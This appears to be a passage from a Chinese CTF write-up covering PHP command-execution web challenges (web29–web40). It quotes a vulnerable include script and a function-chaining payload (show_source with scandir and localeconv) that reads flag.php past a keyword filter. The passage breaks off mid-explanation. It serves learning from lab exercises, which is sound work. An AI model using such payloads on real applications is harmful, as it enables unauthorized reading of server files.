👩💻 Join our community of thousands of amazing developers!
前言记录web的题目wp,慢慢变强,铸剑。命令执行web29web30web31web32web33web34和33题一样web35和32题一样web36和32题一样就是把1换成aweb37web38web39和38一样web40123456789101112<?php//flag in flag.phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__);}根据提示套娃方法show_source(next(array_reverse(scandir(pos(localeconv())))));解析:show_source(“flag.php”);可以直接显示当前文件localeconv()数组中第一个元素是.可以取路径pos()就是取数据中第一个元素array_reverse()将数组倒序利用next...